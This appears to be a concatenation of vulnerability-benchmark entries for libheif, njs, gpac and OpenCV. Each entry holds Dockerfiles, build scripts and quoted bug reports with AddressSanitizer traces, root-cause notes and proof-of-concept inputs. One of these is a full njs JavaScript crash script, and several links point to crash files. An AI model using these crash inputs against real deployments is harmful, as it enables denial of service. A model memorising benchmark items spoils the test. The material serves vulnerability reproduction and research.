../csu/libc-start.c:392 #9 0x55555555c304 in _start (clean_build/libheif/build/examples/heif-info+0x8304) ``` OOB write: ``` ==169585==ERROR: AddressSanitizer: SEGV on unknown address 0x62e080000400 (pc 0x7ffff6d68ae3 bp 0x7fffffffbc00 sp 0x7fffffffb9b8 T0) ==169585==The signal is caused by a WRITE memory access. #0 0x7ffff6d68ae3 (/lib/x86_64-linux-gnu/libc.so.6+0xc4ae3) #1 0x7ffff73b61e0 in HeifPixelImage::overlay(std::shared_ptr<HeifPixelImage>&, int, int) (clean_build/libheif/build/libheif/libheif.so.1+0x1b61e0) #2 0x7ffff733cabc in HeifContext::decode_overlay_image(unsigned int, std::shared_ptr<HeifPixelImage>&, std::vector<unsigned char, std::allocator<unsigned char> > const&, heif_decoding_options const&) const (clean_build/libheif/build/libheif/libheif.so.1+0x13cabc) #3 0x7ffff7333f60 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const (clean_build/libheif/build/libheif/libheif.so.1+0x133f60) #4 0x7ffff7331450 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const (clean_build/libheif/build/libheif/libheif.so.1+0x131450) #5 0x7ffff72eb0d9 in heif_decode_image (clean_build/libheif/build/libheif/libheif.so.1+0xeb0d9) #6 0x5555555625f2 in main (clean_build/libheif/build/examples/heif-info+0xe5f2) #7 0x7ffff6ccdd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #8 0x7ffff6ccde3f in __libc_start_main_impl ../csu/libc-start.c:392 #9 0x55555555c304 in _start (clean_build/libheif/build/examples/heif-info+0x8304) ``` ### Environment ``` OS: Ubuntu 22.04 gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 g++ (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ## Root cause The overlay offsets specified in the iloc box are trusted by the program. While there are "sanity" checks in `HeifPixelImage::overlay()`, these checks can be bypassed with extremely large or extremely small offsets. For instance, in `poc_oob_write.heic`, the x offset (`dx`) is `INT_MAX - 10`. The OOB write arises from an integer overflow in this [check](https://github.com/strukturag/libheif/blob/7c9729ea8d0f319ab423f8e4e6de121fd78596d0/libheif/pixelimage.cc#L786): ```c // overlay image extends past the right border -> cut width for copy if (dx + in_w > out_w) { in_w = out_w - dx; } ``` In `poc_oob_read.heic`, `dx` is `INT_MIN`. The OOB read arises from the UB in this [check](https://github.com/strukturag/libheif/blob/7c9729ea8d0f319ab423f8e4e6de121fd78596d0/libheif/pixelimage.cc#L810): ```c // overlay image started outside of left border // -> move start into the image and start at left output column if (dx < 0) { in_x0 = -dx; out_x0 = 0; } ``` ## Mitigation A simple fix would be to check that `in_y0/x0` and `out_x0/y0` are within the bounds of the respective images' dimensions before using the values at the end of the function. Comments: Comment by flyyee on 2024-07-07 09:39:56+00:00: Opened a PR with the suggested fix: https://github.com/strukturag/libheif/pull/1227 --- Comment by farindk on 2024-07-08 10:27:14+00:00: I have rewritten the whole section. Should now handle all edge cases. --- Comment by rathann on 2025-02-07 20:43:44+00:00: For reference, this is CVE-2024-41311 . Commit References: 7c9729ea8d0f319ab423f8e4e6de121fd78596d0 44a9705568a18955230ad9d2b5de4d2682dd50f9
[]
[ { "sha": "a3ed1b1eb178c5d651d6ac619c8da3d71ac2be36", "url": "https://github.com/strukturag/libheif/commit/a3ed1b1eb178c5d651d6ac619c8da3d71ac2be36" }, { "sha": "7c9729ea8d0f319ab423f8e4e6de121fd78596d0", "url": "https://github.com/strukturag/libheif/commit/7c9729ea8d0f319ab423f8e4e6de121fd78596d0" }, { "sha": "44a9705568a18955230ad9d2b5de4d2682dd50f9", "url": "https://github.com/strukturag/libheif/commit/44a9705568a18955230ad9d2b5de4d2682dd50f9" }, { "sha": "a4cfe72d101138750046b531fffb9e319b729359", "url": "https://github.com/strukturag/libheif/commit/a4cfe72d101138750046b531fffb9e319b729359" } ]
njs.cve-2022-34030
nginx/njs
37dc1e788060ba17cdcd6e3fd2695177c9d7aa38
2022-06-20T23:38:49
njs
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev RUN git clone https://github.com/nginx/njs njs RUN git -C njs checkout 37dc1e788060ba17cdcd6e3fd2695177c9d7aa38 WORKDIR $SRC/njs COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure make -j$(nproc) clean make -j$(nproc) all make install -j$(nproc) sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config ./configure make njs_fuzzer -j$(nproc) mkdir -p $SEED_CORPUS_PATH
/src/njs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/nginx/njs/issues/540 ## Description: Issue: nginx/njs#540 Title: SEGV src/njs_djb_hash.c:21:16 in njs_djb_hash State: closed Created by: dramthy Created at: 2022-06-10 02:31:55+00:00 Labels: bug, fuzzer Issue Body: Environment ```OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : c756e23eb09dac519fe161c88587cc034306630f (high:1882) Version : 0.7.5 Build : ./configure --cc=clang --address-sanitizer=YES make ``` Proof of concept ``` // Minimizing 8AC3654E-F5A1-405C-B380-951904AD058C function placeholder(){} function main() { var v1 = Function; var v6 = [930866.8987935185,930866.8987935185,930866.8987935185,930866.8987935185]; var v8 = [v6,1050462187]; var v11 = [930866.8987935185,930866.8987935185,930866.8987935185,930866.8987935185]; var v13 = [v11,1050462187]; var v15 = v11.__proto__; function v16(v17,v18,v19,...v20) { var v21 = [v17,-1000000000000.0]; function v22(v23,v24,v25,...v26) { var v27 = {"d":v22}; var v28 = Object.defineProperty(v15,v18,v27); } var v30 = v21["find"](v22); } var v32 = v13["find"](v16); var v34 = v6.__proto__; function v35(v36,v37,v38,...v39) { 'use strict'; var v40 = [v36,-1000000000000.0]; var v42 = 471270.459031428 in v39; var v43 = 1000.0; var v45 = String.fromCodePoint(); var v46 = -128; var v50 = `YVySS90U8G${v45}string${-452883207}-2${Uint8Array}dotAll`.indexOf(); var v51 = 50691; var v52 = 658545.3967616097; var v53 = undefined; var v54 = -1.7976931348623157e+308; var v55 = 2147483647; var v56 = 4184750072; var v57 = "toString"; var v58 = Float64Array; var v59 = "a"; var v60 = 54444; var v61 = ["c14RHVOudV",1050462187]; function v62(v63,v64,v65,...v66) { var v68 = v34["shift"](); } var v70 = v61["find"](v62); function v71(v72,v73,v74,...v75) { 'use strict'; var v76 = {"get":v71}; var v77 = Object.defineProperty(v34,35017,v76); } var v79 = v40["find"](v71); } var v81 = v8["find"](v35); } main(); // CRASH INFO // ========== // TERMSIG: 11 // STDERR: ``` Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==2802==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e312b bp 0x7ffca2668c70 sp 0x7ffca2668c40 T0) ==2802==The signal is caused by a READ memory access. ==2802==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used. #0 0x4e312b in njs_djb_hash /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_djb_hash.c:21:16 #1 0x4f10cb in njs_property_query /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value.c:618:32 #2 0x502d6a in njs_vmcode_property_in /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:1431:11 #3 0x502d6a in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:492:23 #4 0x574b62 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11 #5 0x573a55 in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:780:16 #6 0x573a55 in njs_function_call2 /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:592:11 #7 0x560b05 in njs_function_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.h:178:12 #8 0x560b05 in njs_array_iterator_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_array.c:1918:12 #9 0x560b05 in njs_array_handler_find /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_array.c:2025:11 #10 0x65b9ea in njs_object_iterate /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_iterator.c #11 0x554e0f in njs_array_prototype_iterator /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_array.c:2297:11 #12 0x57599e in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:739:11 #13 0x573d0c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:777:16 #14 0x500f5f in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23 #15 0x574b62 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11 #16 0x573d3f in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:780:16 #17 0x500f5f in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23 #18 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11 #19 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19 #20 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11 #21 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15 #22 0x7f1db1e4a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee) #23 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_djb_hash.c:21:16 in njs_djb_hash ==2802==ABORTING ``` Credit dramthy(@topsec alpha) Commit References: 1878e6b475720c7c51969e69ab2d276fae6d1dee c756e23eb09dac519fe161c88587cc034306630f
[]
[ { "sha": "c756e23eb09dac519fe161c88587cc034306630f", "url": "https://github.com/nginx/njs/commit/c756e23eb09dac519fe161c88587cc034306630f" }, { "sha": "1878e6b475720c7c51969e69ab2d276fae6d1dee", "url": "https://github.com/nginx/njs/commit/1878e6b475720c7c51969e69ab2d276fae6d1dee" }, { "sha": "7b3fba59f96e51ddf602222958ec855fba1e4383", "url": "https://github.com/nginx/njs/commit/7b3fba59f96e51ddf602222958ec855fba1e4383" } ]
gpac.cve-2023-4754
gpac/gpac
a8bc2c8c2ca2af95fb2e659caf8a45cd9c2d543b
2023-09-02T06:35:51
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout a8bc2c8c2ca2af95fb2e659caf8a45cd9c2d543b WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/b7ed24ad-7d0b-40b7-8f4d-3c18a906620c ## Description: Description Heap-buffer-overflow in MP4Box. Version $ ./bin/gcc/MP4Box -version MP4Box - GPAC version 2.3-DEV-revrelease (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --enable-sanitizer Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D Reproduce complie and run ./configure --enable-sanitizer make Proof of Concept ./bin/gcc/MP4Box -dash 1000 -out /dev/null ./crash1 POC_crash000394 is here ASAN information reported by sanitizer $ ./bin/gcc/MP4Box -dash 1000 ./crash000394 SWF Import - Scene Size 37.7x-30.65 - 512 frames @ 0 FPS [TXTIn] swf -> svg not fully migrated, using SWF flags 0 and no flatten angle. Patch welcome [Dasher] No template assigned, using $File$_dash$FS$$Number$ [Dasher] No bitrate property assigned to PID crash000394, computing from bitstream [SWF Parsing] Tag UnknownTag (0x1a4) not implemented - skipping (frame 1) [SWF Parsing] Tag UnknownTag (0x1bd) not implemented - skipping (frame 1) [SWF Parsing] Tag UnknownTag (0x12f) not implemented - skipping (frame 1) [SWF Parsing] Tag UnknownTag (0x15b) not implemented - skipping (frame 1) [SWF Parsing] tag DefineShape3 over-read of 20608 bytes (size 23) (frame 1) [SWF Parsing] Tag UnknownTag (0x1d0) not implemented - skipping (frame 1) [SWF Parsing] Tag UnknownTag (0x1d5) not implemented - skipping (frame 1) [SWF Parsing] Tag UnknownTag (0x144) not implemented - skipping (frame 1) ================================================================= ==491931==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002750 at pc 0x7f555206c5d3 bp 0x7fff4f3717c0 sp 0x7fff4f3717b0 WRITE of size 4 at 0x602000002750 thread T0 #0 0x7f555206c5d2 in swf_def_font scene_manager/swf_parse.c:1449 #1 0x7f555206c5d2 in swf_process_tag scene_manager/swf_parse.c:2350 #2 0x7f555206c5d2 in swf_parse_tag scene_manager/swf_parse.c:2422 #3 0x7f555275c089 in gf_text_process_swf filters/load_text.c:2542 #4 0x7f555275c089 in gf_text_process_swf filters/load_text.c:2519 #5 0x7f55527714a2 in txtin_process filters/load_text.c:3992 #6 0x7f5552469dbe in gf_filter_process_task filter_core/filter.c:2971 #7 0x7f55524290ea in gf_fs_thread_proc filter_core/filter_session.c:1962 #8 0x7f5552436a56 in gf_fs_run filter_core/filter_session.c:2261 #9 0x7f5551dcc03d in gf_dasher_process media_tools/dash_segmenter.c:1236 #10 0x560d3aaebc26 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825 #11 0x560d3aaebc26 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239 #12 0x7f554f078082 in __libc_start_main ../csu/libc-start.c:308 #13 0x560d3aac3fcd in _start (/home/functionmain/Desktop/gpac-master-asan/bin/gcc/MP4Box+0xa5fcd) 0x602000002751 is located 0 bytes to the right of 1-byte region [0x602000002750,0x602000002751) allocated by thread T0 here: #0 0x7f5555079808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x7f5552068180 in swf_def_font scene_manager/swf_parse.c:1448 #2 0x7f5552068180 in swf_process_tag scene_manager/swf_parse.c:2350 #3 0x7f5552068180 in swf_parse_tag scene_manager/swf_parse.c:2422 #4 0x7f555275c089 in gf_text_process_swf filters/load_text.c:2542 #5 0x7f555275c089 in gf_text_process_swf filters/load_text.c:2519 #6 0x7f55527714a2 in txtin_process filters/load_text.c:3992 #7 0x7f5552469dbe in gf_filter_process_task filter_core/filter.c:2971 #8 0x7f55524290ea in gf_fs_thread_proc filter_core/filter_session.c:1962 #9 0x7f5552436a56 in gf_fs_run filter_core/filter_session.c:2261 #10 0x7f5551dcc03d in gf_dasher_process media_tools/dash_segmenter.c:1236 #11 0x560d3aaebc26 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825 #12 0x560d3aaebc26 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239 #13 0x7f554f078082 in __libc_start_main ../csu/libc-start.c:308 SUMMARY: AddressSanitizer: heap-buffer-overflow scene_manager/swf_parse.c:1449 in swf_def_font Shadow bytes around the buggy address: 0x0c047fff8490: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff84a0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa 0x0c047fff84b0: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd 0x0c047fff84c0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff84d0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 00 =>0x0c047fff84e0: fa fa 00 00 fa fa 00 00 fa fa[01]fa fa fa fa fa 0x0c047fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==491931==ABORTING Impact This is capable of causing crashes. References POC_crash000394 is here Impact This is capable of causing crashes. Relevant Links: https://github.com/gpac/gpac https://gitee.com/FUNctionMain/mypoc/raw/master/poc_heap_buffer_overflow/crash000394 https://gitee.com/FUNctionMain/mypoc/raw/master/poc_heap_buffer_overflow/crash000394 https://gitee.com/FUNctionMain/mypoc/raw/master/poc_heap_buffer_overflow/crash000394
[]
[ { "sha": "b7ed24ad", "url": null }, { "sha": "7e2e92feb1b30fac1d659f6620d743b5a188ffe0", "url": "https://github.com/gpac/gpac/commit/7e2e92feb1b30fac1d659f6620d743b5a188ffe0" } ]
opencv.cve-2019-14491
opencv/opencv
7295983964044c280484469d73d6b8f59dbc5a4f
2019-07-25T13:59:56
opencv
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential cmake pkg-config RUN git clone https://github.com/opencv/opencv opencv RUN git -C opencv checkout 7295983964044c280484469d73d6b8f59dbc5a4f WORKDIR $SRC/opencv COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p $build_dir cmake -D CMAKE_BUILD_TYPE=Release -D CMAKE_INSTALL_PREFIX=$install_dir \ -DBUILD_SHARED_LIBS=OFF -DOPENCV_GENERATE_PKGCONFIG=ON \ -DOPENCV_GENERATE_PKGCONFIG=ON -DOPENCV_FORCE_3RDPARTY_BUILD=ON \ -DBUILD_TESTS=OFF -DBUILD_PERF_TESTS=OFF -DBUILD_opencv_apps=OFF \ $SRC/opencv make -j$(nproc) make install -j$(nproc)
/src/opencv
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/opencv/opencv/issues/15125 ## Description: Issue: opencv/opencv#15125 Title: out of bounds read in function cv::predictOrdered<cv::HaarEvaluator> State: closed Created by: YourButterfly Created at: 2019-07-23 03:32:04+00:00 Labels: category: vulnerability Issue Body: <!-- If you have a question rather than reporting a bug please go to http://answers.opencv.org where you get much faster responses. If you need further assistance please read [How To Contribute](https://github.com/opencv/opencv/wiki/How_to_contribute). Please: * Read the documentation to test with the latest developer build. * Check if other person has already created the same issue to avoid duplicates. You can comment on it if there already is an issue. * Try to be as detailed as possible in your report. * Report only one problem per created issue. This is a template helping you to create an issue which can be processed as quickly as possible. This is the bug reporting section for the OpenCV library. --> ##### System information (version) <!-- Example - OpenCV => 3.1 - Operating System / Platform => Windows 64 Bit - Compiler => Visual Studio 2015 --> - OpenCV => 4.1.0 - Operating System / Platform => Ubuntu 18.04 LTS - Compiler => clang-7 ##### Detailed description An issue was discovered in opencv 4.1.0, there is an out of bounds read in function cv::predictOrdered<cv::HaarEvaluator> in cascadedetect.hpp, which leads to denial of service. source ```c 511 double val = featureEvaluator(node.featureIdx); 512 idx = val < node.threshold ? node.left : node.right; 513 } 514 while( idx > 0 ); > 515 sum += \*bug=>*\ cascadeLeaves[leafOfs - idx]; 516 nodeOfs += weak.nodeCount; 517 leafOfs += weak.nodeCount + 1; 518 } 519 if( sum < stage.threshold ) 520 return -si; ``` debug ``` In file: /home/pwd/SofterWare/opencv-4.1.0/modules/objdetect/src/cascadedetect.hpp 510 CascadeClassifierImpl::Data::DTreeNode& node = cascadeNodes[root + idx]; 511 double val = featureEvaluator(node.featureIdx); 512 idx = val < node.threshold ? node.left : node.right; 513 } 514 while( idx > 0 ); ► 515 sum += cascadeLeaves[leafOfs - idx]; 516 nodeOfs += weak.nodeCount; 517 leafOfs += weak.nodeCount + 1; 518 } 519 if( sum < stage.threshold ) 520 return -si; ─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffc7ffe300 ◂— 0x8d80169006580d8 01:0008│ 0x7fffc7ffe308 ◂— 0xbba5787f80000000 02:0010│ 0x7fffc7ffe310 —▸ 0x7fffd53a5de0 ◂— 0xb1088000af4cb 03:0018│ 0x7fffc7ffe318 ◂— 0xffedb5a100000003 04:0020│ 0x7fffc7ffe320 ◂— 0xbf74af0fe0000000 05:0028│ 0x7fffc7ffe328 —▸ 0x6b7b70 ◂— 0x0 06:0030│ 0x7fffc7ffe330 ◂— 0x800000000000005d /* ']' */ 07:0038│ 0x7fffc7ffe338 —▸ 0x66f4a4 ◂— 0x100000000 ───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 7ffff5e2c500 f 1 7ffff5e2bb21 f 2 7ffff5e3bd74 f 3 7fffef87dc59 f 4 7fffef87ea3b cv::ParallelJob::execute(bool)+603 f 5 7fffef87e21a cv::WorkerThread::thread_body()+890 f 6 7fffef880e05 cv::WorkerThread::thread_loop_wrapper(void*)+21 f 7 7fffee3d46db start_thread+219 Program received signal SIGSEGV (fault address 0xfffffffe006630f8) pwndbg> p cascadeLeaves $1 = (float *) 0x662e10 pwndbg> p leafOfs $2 = 186 pwndbg> p idx $3 = -2147483648 ``` bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==9176==ERROR: AddressSanitizer: SEGV on unknown address 0x623e000443e8 (pc 0x7fc9fc661bfa bp 0x7fc9daee70b0 sp 0x7fc9daee6f80 T1) ==9176==The signal is caused by a READ memory access. AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL AddressSanitizer:DEADLYSIGNAL #0 0x7fc9fc661bf9 in int cv::predictOrdered<cv::HaarEvaluator>(cv::CascadeClassifierImpl&, cv::Ptr<cv::FeatureEvaluator>&, double&) /src/opencv/modules/objdetect/src/cascadedetect.hpp:515:17 #1 0x7fc9fc65f736 in cv::CascadeClassifierImpl::runAt(cv::Ptr<cv::FeatureEvaluator>&, cv::Point_<int>, int, double&) /src/opencv/modules/objdetect/src/cascadedetect.cpp:962:20 #2 0x7fc9fc692083 in cv::CascadeClassifierInvoker::operator()(cv::Range const&) const /src/opencv/modules/objdetect/src/cascadedetect.cpp:1029:46 #3 0x7fc9f294b0c3 in (anonymous namespace)::ParallelLoopBodyWrapper::operator()(cv::Range const&) const /src/opencv/modules/core/src/parallel.cpp:343:17 #4 0x7fc9f2d737e7 in cv::ParallelJob::execute(bool) /src/opencv/modules/core/src/parallel_impl.cpp:315:22 #5 0x7fc9f2d7125b in cv::WorkerThread::thread_body() /src/opencv/modules/core/src/parallel_impl.cpp:415:24 #6 0x7fc9f2d7f719 in cv::WorkerThread::thread_loop_wrapper(void*) /src/opencv/modules/core/src/parallel_impl.cpp:265:41 #7 0x7fc9f15e46b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9) #8 0x7fc9f0cf841c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/opencv/modules/objdetect/src/cascadedetect.hpp:515:17 in int cv::predictOrdered<cv::HaarEvaluator>(cv::CascadeClassifierImpl&, cv::Ptr<cv::FeatureEvaluator>&, double&) Thread T1 created by T0 here: #0 0x43428d in __interceptor_pthread_create /work/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:204 #1 0x7fc9f2d79d58 in cv::WorkerThread::WorkerThread(cv::ThreadPool&, unsigned int) /src/opencv/modules/core/src/parallel_impl.cpp:227:15 #2 0x7fc9f2d76240 in cv::ThreadPool::reconfigure_(unsigned int) /src/opencv/modules/core/src/parallel_impl.cpp:510:53 #3 0x7fc9f2d7bb07 in cv::ThreadPool::run(cv::Range const&, cv::ParallelLoopBody const&, double) /src/opencv/modules/core/src/parallel_impl.cpp:548:9 #4 0x7fc9f2949a99 in parallel_for_impl(cv::Range const&, cv::ParallelLoopBody const&, double) /src/opencv/modules/core/src/parallel.cpp:590:9 #5 0x7fc9f2949a99 in cv::parallel_for_(cv::Range const&, cv::ParallelLoopBody const&, double) /src/opencv/modules/core/src/parallel.cpp:518 #6 0x7fc9fc673269 in cv::CascadeClassifierImpl::detectMultiScaleNoGrouping(cv::_InputArray const&, std::vector<cv::Rect_<int>, std::allocator<cv::Rect_<int> > >&, std::vector<int, std::allocator<int> >&, std::vector<double, std::allocator<double> >&, double, cv::Size_<int>, cv::Size_<int>, bool) /src/opencv/modules/objdetect/src/cascadedetect.cpp:1346:9 #7 0x7fc9fc677cb8 in cv::CascadeClassifierImpl::detectMultiScale(cv::_InputArray const&, std::vector<cv::Rect_<int>, std::allocator<cv::Rect_<int> > >&, std::vector<int, std::allocator<int> >&, std::vector<double, std::allocator<double> >&, double, int, int, cv::Size_<int>, cv::Size_<int>, bool) /src/opencv/modules/objdetect/src/cascadedetect.cpp:1365:5 #8 0x7fc9fc6786ee in cv::CascadeClassifierImpl::detectMultiScale(cv::_InputArray const&, std::vector<cv::Rect_<int>, std::allocator<cv::Rect_<int> > >&, double, int, int, cv::Size_<int>, cv::Size_<int>) /src/opencv/modules/objdetect/src/cascadedetect.cpp:1386:5 #9 0x7fc9fc686370 in cv::CascadeClassifier::detectMultiScale(cv::_InputArray const&, std::vector<cv::Rect_<int>, std::allocator<cv::Rect_<int> > >&, double, int, int, cv::Size_<int>, cv::Size_<int>) /src/opencv/modules/objdetect/src/cascadedetect.cpp:1659:9 #10 0x51d4bc in main /work/funcs/classifier.cc:34:24 #11 0x7fc9f0c1182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ==9176==ABORTING ``` others from fuzz project pwd-opencv-classifier-00 crash name pwd-opencv-classifier-00-00000253-20190703.xml Auto-generated by pyspider at 2019-07-03 07:57:31 please send email to teamseri0us360@gmail.com if you have any questions. ##### Steps to reproduce commandline classifier /work/funcs/appname.bmp @@ [poc2.tar.gz](https://github.com/opencv/opencv/files/3420073/poc2.tar.gz) Attachments: https://github.com/opencv/opencv/files/3420073/poc2.tar.gz
[ { "content": "// Copyright 2018 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { 